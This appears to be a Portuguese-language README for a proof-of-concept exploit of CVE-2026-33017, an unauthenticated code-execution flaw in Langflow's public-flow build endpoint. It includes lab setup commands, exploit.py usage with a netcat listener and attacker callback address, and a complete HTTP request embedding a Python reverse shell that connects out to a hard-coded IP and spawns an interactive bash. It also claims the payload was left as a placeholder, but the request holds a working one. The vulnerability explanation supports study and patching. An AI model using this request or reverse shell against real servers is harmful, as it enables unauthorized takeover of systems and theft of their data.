
Langflow RCE
★ CVE-2026-33017 Langflow PoC de Execução Remota de Código ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
Use os seguintes comandos para construir e executar o ambiente Langflow vulnerável:
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
Após iniciar a instância vulnerável do Langflow, execute o PoC com a URL de destino, o ID do fluxo público (Public flow) e o endereço de callback do atacante.
Opção A — use seu próprio listener:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
Opção B — use o listener integrado com --listen:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
| Opção | Descrição |
|---|---|
--url | URL do servidor Langflow de destino |
--flow-id | UUID do fluxo público (Public flow) compartilhado |
--lhost | IP de callback do atacante |
--lport | Porta de callback do atacante |
--listen | Executa o listener integrado em vez de um nc externo |
CVE-2026-33017 é uma vulnerabilidade de Execução Remota de Código (RCE) no processo de build de fluxos públicos (Public flow) do Langflow, uma plataforma de código aberto para construir visualmente aplicações de LLM e workflows de IA.
Ao enviar dados de fluxo maliciosamente elaborados para o endpointbuild_public_tmpsem autenticação, um atacante pode fazer com que código Python arbitrário seja executado no servidor.
CVE-2026-33017 afeta o seguinte endpoint de build de fluxos públicos do Langflow, uma plataforma de código aberto para criar visualmente aplicações de LLM e workflows de IA.
POST /api/v1/build_public_tmp/{flow_id}/flow
Um fluxo público (Public flow) no Langflow foi projetado para ser compartilhado com outros usuários por meio de um link ou mecanismo semelhante.
Para dar suporte a esse recurso, o endpoint de build prepara o fluxo para execução sem exigir autenticação, lendo os nós, arestas e configurações do fluxo e, em seguida, construindo o grafo de execução interno necessário para executá-lo.
O problema é que as versões vulneráveis do build_public_tmp aceitavam não apenas as informações do fluxo público armazenadas no servidor, mas também o campo data fornecido no corpo da requisição.
Esse campo data poderia conter a definição completa do fluxo, incluindo:
Como resultado, um atacante poderia usar uma requisição não autenticada para injetar uma estrutura de fluxo totalmente controlada pelo atacante, em vez de depender do fluxo público legítimo armazenado no servidor.
Uma parte particularmente perigosa desse design é o recurso de Componente Personalizado (Custom Component).
No Langflow, um componente representa um bloco funcional individual responsável por tarefas como tratamento de entrada, invocação de modelos ou geração de saída. Um componente personalizado é um bloco extensível que permite aos usuários definir seu comportamento diretamente em código Python.
Um atacante poderia, portanto, incorporar um componente personalizado contendo código Python malicioso dentro do objeto data maliciosamente elaborado, e o servidor o processaria como se fosse uma parte normal do fluxo. Como resultado, o código injetado poderia ser interpretado e executado durante o processo de build ou execução, levando, em última instância, à execução remota de código.
| Categoria | Versão |
|---|---|
| Vulnerável | Langflow anterior à 1.9.0 |
| Corrigido | Langflow 1.9.0 e posterior |
O GitHub Security Advisory lista a faixa afetada como
<= 1.8.2, mas a correção — remoção do parâmetrodata— foi lançada na versão 1.9.0. Portanto, todas as versões anteriores à 1.9.0 (incluindo 1.8.3 / 1.8.4) são afetadas, motivo pelo qual o CVE Record indica< 1.9.0.
A exploração bem-sucedida desta vulnerabilidade pode permitir que um atacante assuma o controle do servidor Langflow e realize ações subsequentes, como:
O PoC a seguir demonstra o CVE-2026-33017 no Langflow 1.8.1.
O atacante primeiro identifica o flow_id de um fluxo público de destino.

O atacante envia uma requisição build_public_tmp que injeta um componente personalizado cujo code em Python é executado no servidor durante o build temporário. Na requisição abaixo, o valor de code foi deixado como um espaço reservado — insira você mesmo o payload (veja a nota abaixo da requisição).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
Durante o processo de build, o código incorporado no componente personalizado é executado no servidor. Quando a variante de reverse shell (automatizada pelo exploit.py) é usada, uma conexão é estabelecida de volta ao listener do atacante, dando ao atacante um shell interativo para executar comandos arbitrários no servidor.

Embora o build_public_tmp tenha sido criado para construir fluxos públicos, as versões vulneráveis ainda aceitavam um campo data diretamente do corpo da requisição.
Devido a esse design, o data fornecido pelo atacante era passado diretamente para a lógica de build do servidor, e qualquer código Python incorporado em um componente personalizado era tratado como se fizesse parte de um fluxo legítimo.